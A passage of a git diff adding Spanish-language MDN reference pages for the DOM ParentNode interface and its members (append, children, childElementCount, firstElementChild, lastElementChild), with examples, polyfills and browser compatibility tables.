+<p>Diferencias con {{domxref("Node.appendChild()")}}:</p>
+
+<ul>
+ <li><code>ParentNode.append()</code> te permite también agregar objetos {{domxref("DOMString")}}, mientras que <code>Node.appendChild()</code> solo acepta objetos {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> no tiene valor de retorno, en cambio, <code>Node.appendChild()</code> devuelve el objeto {{domxref("Node")}} agregado.</li>
+ <li><code>ParentNode.append()</code> puede agregar varios nodos y cadenas, mientras que <code>Node.appendChild()</code> sólo puede agregar uno.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Un conjunto de {{domxref("Node")}} u objetos {{domxref("DOMString")}} a agegar.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Node cannot be inserted at the specified point in the hierarchy.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Appending_an_element">Appending an element</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="Appending_text">Appending text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"</pre>
+
+<h3 id="Appending_an_element_and_text">Appending an element and text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_is_unscopable"><code>ParentNode.append()</code> is unscopable</h3>
+
+<p>The <code>append()</code> method is not scoped into the <code>with</code> statement. See {{jsxref("Symbol.unscopables")}} for more information.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can polyfill the <code>append() method</code> in Internet Explorer 9 and higher with the following code:</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/es/web/api/parentnode/childelementcount/index.html b/files/es/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..3e8c834262
--- /dev/null
+++ b/files/es/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,126 @@
+---
+title: ParentNode.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+  - API
+  - ChildNode
+  - DOM
+  - ParentNode
+  - childElement
+  - children
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p>La propiedad de sólo lectura <code><strong>ParentNode.childElementCount</strong></code> devuelve un número del tipo <code>unsigned long</code> que representa la cantidad de elementos hijo que penden del elemento padre (ParentNode).</p>
+
+<div class="note">
+<p>Esta propiedad fue inicialmente definida en la interfaz pura {{domxref("ElementTraversal")}}. Como esta interfaz contenía dos conjuntos distintos de propiedades: una apuntaba al {{domxref("Node")}} con hijos y otra a los hijos, fueron trasladados a dos interfaces puras separadas: {{domxref("ParentNode")}} y {{domxref("ChildNode")}}. En este caso, <code>childElementCount</code> se mudó a {{domxref("ParentNode")}}. Este es un cambio bastante técnico que no debería afectar a la compatibilidad.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>elCount</var> = elementNodeReference.childElementCount;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Espacificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Dividida la interfaz <code>ElementTraversal</code> en {{domxref("ChildNode")}} y <code>ParentNode</code>. Este método está ahora definido en la segunda.<br>
+    Se implementaron las nuevas interfaces en {{domxref("Document")}} y {{domxref("DocumentFragment")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Añadida su definición inicial a la interfaz pura <code>ElementTraversal</code> y se emplea en {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (para {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Soporta {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (para {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporta {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 6, 7 y 8 lo soportan, pero cuenta los nodos {{domxref("Comment")}} de forma incorrecta.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Las interfaces puras {{domxref("ParentNode")}} y {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipos de objeto que implementan estas interfaces: {{domxref("Document")}}, {{domxref("Element")}}, y {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/parentnode/children/index.html b/files/es/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..8a9071830c
--- /dev/null
+++ b/files/es/web/api/parentnode/children/index.html
@@ -0,0 +1,157 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Propiedad
+translation_of: Web/API/ParentNode/children
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Node.children</strong></code> es una propiedad de sólo lectura que retorna una {{domxref("HTMLCollection")}} "viva" de los elementos hijos de un <code>Node</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children; </pre>
+
+<p><code><var>children</var></code> es una {{ domxref("HTMLCollection") }}, que es una colección ordenada de los elementos DOM que son hijos <code>de <em>node</em></code>. Si no hay elementos hijos, entonces <code><var>children</var></code> no contendrá elementos y su longitud ( <code>length</code> )  será <code>0</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var foo = document.getElementById('foo');
+for (var i = 0; i &lt; foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Sobrescribe el prototipo 'children' nativo.
+// Añade soporte para Document y DocumentFragment en IE9 y Safari.
+// Devuelve un array en lugar de HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>38.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("SVGElement")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte básico {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 6, 7 y 8 lo soportan, pero incluyen nodos {{domxref("Comment")}} de manera errónea.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Las interfaces {{domxref("ParentNode")}} y {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipos e objetos que implementan este interfaz: {{domxref("Document")}}, {{domxref("Element")}}, y {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/parentnode/firstelementchild/index.html b/files/es/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..a9993d8ccf
--- /dev/null
+++ b/files/es/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,143 @@
+---
+title: ParentNode.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><span style="font-family: verdana,tahoma,sans-serif;">La propiedad de sólo lectura </span><strong><code>ParentNode.firstElementChild</code></strong> retorna el primer hijo del objeto {{domxref("Element")}}, o bien <code>null</code> si no existen elementos hijos.</p>
+
+<div class="note">
+<p>Esta propiedada fue definida inicialmente en el interfaz puro {{domxref("ElementTraversal")}}. Como este interfaz contenía dos juegos distintos de propiedades, uno orientado a {{domxref("Node")}} que tenía hijos, y otro a aquellos que eran hijos, se trasladaron a dos interfaces puros separados, {{domxref("ParentNode")}} y {{domxref("ChildNode")}}. En este caso, <code>firstElementChild</code> fue movido a {{domxref("ParentNode")}}. Es un cambio de carácter estrictamente técnico que no debería afectar a la compatibilidad.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>childNode</em> = elementNodeReference.firstElementChild;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstElementChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>En este ejemlpo, la alerta muestra 'span', que es el nombre de la etiqueta del primer nodo hijo dele elemento párrafo.</p>
+
+<h2 id="Polyfill_para_Internet_Explorer_8">Polyfill para Internet Explorer 8</h2>
+
+<p>Esta propiedad no está soportada con anterioridad a  IE9, así que el siguiente fragmento puede ser usado para añadir el soporte a IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("firstElementChild" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "firstElementChild", {
+        get: function(){
+            for(var nodes = this.children, n, i = 0, l = nodes.length; i &lt; l; ++i)
+                if(n = nodes[i], 1 === n.nodeType) return n;
+            return null;
+        }
+    });
+}</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Dividido el interfaz <code>ElementTraversal</code> en {{domxref("ChildNode")}} y <code>ParentNode</code>. Este método queda definido ahora en el segundo.<br>
+    Los {{domxref("Document")}} y {{domxref("DocumentFragment")}} implementaron los nuevos interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Añadida su definición inicial al interfaz puro <code>ElementTraversal</code> y lo usa en {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Los interfaces puros {{domxref("ParentNode")}} y {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Objetos que implementan estos interfaces puros: {{domxref("Document")}}, {{domxref("Element")}}, y {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/parentnode/index.html b/files/es/web/api/parentnode/index.html
new file mode 100644
index 0000000000..53af6c3203
--- /dev/null
+++ b/files/es/web/api/parentnode/index.html
@@ -0,0 +1,151 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API DOM Tab
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/ParentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>The <code><strong>ParentNode</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have children.</p>
+
+<p><code>ParentNode</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, {{domxref("Document")}}, and {{domxref("DocumentFragment")}} objects.</p>
+
+<p> </p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("HTMLCollection")}} containing all objects of type {{domxref("Element")}} that are children of this <code>ParentNode</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} that is the first child of this <code>ParentNode</code>, or <code>null</code> if there is none.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} that is the last child of this <code>ParentNode</code>, or <code>null</code> if there is none.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> giving the amount of children that the object has.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There is no inherited or specific and implemented methods.</em></p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. The <code>firstElementChild</code>, <code>lastElementChild</code>, and <code>childElementCount</code> properties are now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.<br>
+    Added the <code>children</code> property.<br>
+    Added the <code>append()</code> and <code>prepend()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>append()</code> and <code>prepend()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>append()</code> and <code>prepend()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 6, 7 and 8 supported it, but erroneously returns {{domxref("Comment")}} nodes as part of the results.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/parentnode/lastelementchild/index.html b/files/es/web/api/parentnode/lastelementchild/index.html
new file mode 100644
index 0000000000..c644b90db8
--- /dev/null
+++ b/files/es/web/api/parentnode/lastelementchild/index.html
@@ -0,0 +1,146 @@
+---
+title: ParentNode.lastElementChild
+slug: Web/API/ParentNode/lastElementChild
+translation_of: Web/API/ParentNode/lastElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad de sólo lectura <code><strong>ParentNode.lastElementChild</strong></code> retorna el último hijo del objeto {{domxref("Element")}} o bien <code>null</code> si no hay elementos hijos.</p>
+
+<div class="note">
+<p>Esta propiedad fue inicialmente definida en el interfaz puro {{domxref("ElementTraversal")}}. Dado que este interfaz contenía dos juegos distintos de propiedades, uno dirigido al nodo {{domxref("Node")}} que tiene hijos, y otro a aquellos que son hijos, se han trasladado a dos interfaces puros separados, {{domxref("ParentNode")}} y {{domxref("ChildNode")}}. En este caso, <code>lastElementChild</code> fue movido a {{domxref("ParentNode")}}. Este es un cambio de carácter técnico que no debería afectar a la compatibilidad.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>childNode</em> = elementNodeReference.lastElementChild; </pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+  &lt;b&gt;bold&lt;/b&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.lastElementChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>En este ejemplo, la alerta muestra "B", que es el nombre de etiqueta del último nodo hijo del elemento párrafo ("P").</p>
+
+<h2 id="Polyfill_para_Internet_Explorer_8">Polyfill para Internet Explorer 8</h2>
+
+<p>Esta propiedad no está soportada con anterioridad a IE9, así que el siguiente códigopuede ser usado para añadir el soporte a IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("lastElementChild" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "lastElementChild", {
+        get: function(){
+            for(var nodes = this.children, n, i = nodes.length - 1; i &gt;= 0; --i)
+                if(n = nodes[i], 1 === n.nodeType) return n;
+            return null;
+        }
+    });
+}</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Dividido el interfaz <code>ElementTraversal</code> en {{domxref("ChildNode")}} y <code>ParentNode</code>. Este método queda ahora definido en el segundo.<br>
+    {{domxref("Document")}} y {{domxref("DocumentFragment")}} implementaron los nuevos interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Añadida su definición inicial al interfaz puro <code>ElementTraversal</code>  y lo usa en {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
